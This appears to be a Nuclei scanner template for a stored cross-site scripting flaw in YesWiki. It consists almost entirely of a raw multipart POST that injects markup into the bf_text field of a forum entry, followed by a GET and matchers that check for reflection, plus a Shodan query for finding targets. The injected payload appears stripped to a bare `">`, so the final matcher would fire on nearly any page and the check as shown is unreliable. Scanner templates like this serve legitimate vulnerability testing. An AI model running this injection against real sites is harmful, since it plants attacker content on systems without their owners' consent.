id: yeswiki-stored-xss
info:
name: YesWiki - Stored Cross-Site Scripting
author: arafatansari
severity: medium
description: |
YesWiki is vulnerable to Stored XSS via bf_text field when add a new entry for Forum.
reference:
- https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
metadata:
verified: true
shodan-query: http.html:"yeswiki"
tags: yeswiki,xss,stored,huntr
requests:
- raw:
- |
POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_titre"
blog
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_text"
">
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_description"
abcd
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="fichierbf_file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="antispam"
1
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="id_typeannonce"
2
------WebKitFormBoundaryT8dS2PT0WtxACLyu--
- |
GET /?BazaR&vue=consulter HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "contains(all_headers_2, 'text/html') && contains(all_headers_2, 'YesWiki')"
- "status_code_2 == 200"
- contains(body_2, '>')
condition: and